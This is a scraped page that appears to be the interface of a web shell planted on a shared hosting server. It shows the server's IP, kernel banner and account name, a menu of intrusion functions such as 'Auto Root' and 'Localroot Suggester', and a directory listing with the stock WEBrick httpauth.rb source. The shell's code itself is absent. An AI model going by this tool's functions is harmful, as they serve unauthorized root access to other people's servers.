Linux premium71.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
Server IP : 198.187.29.8 & Your IP : 3.141.42.23
Domains :
Cant Read [ /etc/named.conf ]
User : cleahvkv
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby19 /
lib64 /
ruby /
1.9.1 /
webrick /
Delete
Unzip
Name
Size
Permission
Date
Action
httpauth
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
httpservlet
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
accesslog.rb
4.16
KB
-rw-r--r--
2011-06-23 07:22
cgi.rb
6.9
KB
-rw-r--r--
2010-11-08 20:59
compat.rb
912
B
-rw-r--r--
2011-05-17 20:29
config.rb
4.38
KB
-rw-r--r--
2010-09-11 06:21
cookie.rb
3.03
KB
-rw-r--r--
2011-06-20 06:48
htmlutils.rb
707
B
-rw-r--r--
2014-02-14 04:24
httpauth.rb
3.33
KB
-rw-r--r--
2011-05-10 23:37
httpproxy.rb
8.85
KB
-rw-r--r--
2011-05-10 00:13
httprequest.rb
12.67
KB
-rw-r--r--
2011-07-22 12:49
httpresponse.rb
9.5
KB
-rw-r--r--
2011-06-21 12:58
https.rb
1.61
KB
-rw-r--r--
2011-05-29 14:14
httpserver.rb
7.21
KB
-rw-r--r--
2011-05-10 00:13
httpservlet.rb
669
B
-rw-r--r--
2009-10-02 10:45
httpstatus.rb
4.95
KB
-rw-r--r--
2011-06-16 21:12
httputils.rb
10.28
KB
-rw-r--r--
2014-02-14 04:24
httpversion.rb
1.12
KB
-rw-r--r--
2011-05-09 19:22
log.rb
3.6
KB
-rw-r--r--
2011-06-16 21:12
server.rb
5.76
KB
-rw-r--r--
2011-05-10 00:13
ssl.rb
4.23
KB
-rw-r--r--
2010-07-30 23:26
utils.rb
6.23
KB
-rw-r--r--
2012-05-19 05:40
version.rb
353
B
-rw-r--r--
2011-05-09 19:22
Save
Rename
# # httpauth.rb -- HTTP access authentication # # Author: IPR -- Internet Programming with Ruby -- writers # Copyright (c) 2000, 2001 TAKAHASHI Masayoshi, GOTOU Yuuzou # Copyright (c) 2002 Internet Programming with Ruby writers. All rights # reserved. # # $IPR: httpauth.rb,v 1.14 2003/07/22 19:20:42 gotoyuzo Exp $ require 'webrick/httpauth/basicauth' require 'webrick/httpauth/digestauth' require 'webrick/httpauth/htpasswd' require 'webrick/httpauth/htdigest' require 'webrick/httpauth/htgroup' module WEBrick ## # HTTPAuth provides both basic and digest authentication. # # To enable authentication for requests in WEBrick you will need a user # database and an authenticator. To start, here's an Htpasswd database for # use with a DigestAuth authenticator: # # config = { :Realm => 'DigestAuth example realm' } # # htpasswd = WEBrick::HTTPAuth::Htpasswd.new 'my_password_file' # htpasswd.auth_type = WEBrick::HTTPAuth::DigestAuth # htpasswd.set_passwd config[:Realm], 'username', 'password' # htpasswd.flush # # The +:Realm+ is used to provide different access to different groups # across several resources on a server. Typically you'll need only one # realm for a server. # # This database can be used to create an authenticator: # # config[:UserDB] = htpasswd # # digest_auth = WEBrick::HTTPAuth::DigestAuth.new config # # To authenticate a request call #authenticate with a request and response # object in a servlet: # # def do_GET req, res # @authenticator.authenticate req, res # end # # For digest authentication the authenticator must not be created every # request, it must be passed in as an option via WEBrick::HTTPServer#mount. module HTTPAuth module_function def _basic_auth(req, res, realm, req_field, res_field, err_type, block) # :nodoc: user = pass = nil if /^Basic\s+(.*)/o =~ req[req_field] userpass = $1 user, pass = userpass.unpack("m*")[0].split(":", 2) end if block.call(user, pass) req.user = user return end res[res_field] = "Basic realm=\"#{realm}\"" raise err_type end ## # Simple wrapper for providing basic authentication for a request. When # called with a request +req+, response +res+, authentication +realm+ and # +block+ the block will be called with a +username+ and +password+. If # the block returns true the request is allowed to continue, otherwise an # HTTPStatus::Unauthorized error is raised. def basic_auth(req, res, realm, &block) # :yield: username, password _basic_auth(req, res, realm, "Authorization", "WWW-Authenticate", HTTPStatus::Unauthorized, block) end ## # Simple wrapper for providing basic authentication for a proxied request. # When called with a request +req+, response +res+, authentication +realm+ # and +block+ the block will be called with a +username+ and +password+. # If the block returns true the request is allowed to continue, otherwise # an HTTPStatus::ProxyAuthenticationRequired error is raised. def proxy_basic_auth(req, res, realm, &block) # :yield: username, password _basic_auth(req, res, realm, "Proxy-Authorization", "Proxy-Authenticate", HTTPStatus::ProxyAuthenticationRequired, block) end end end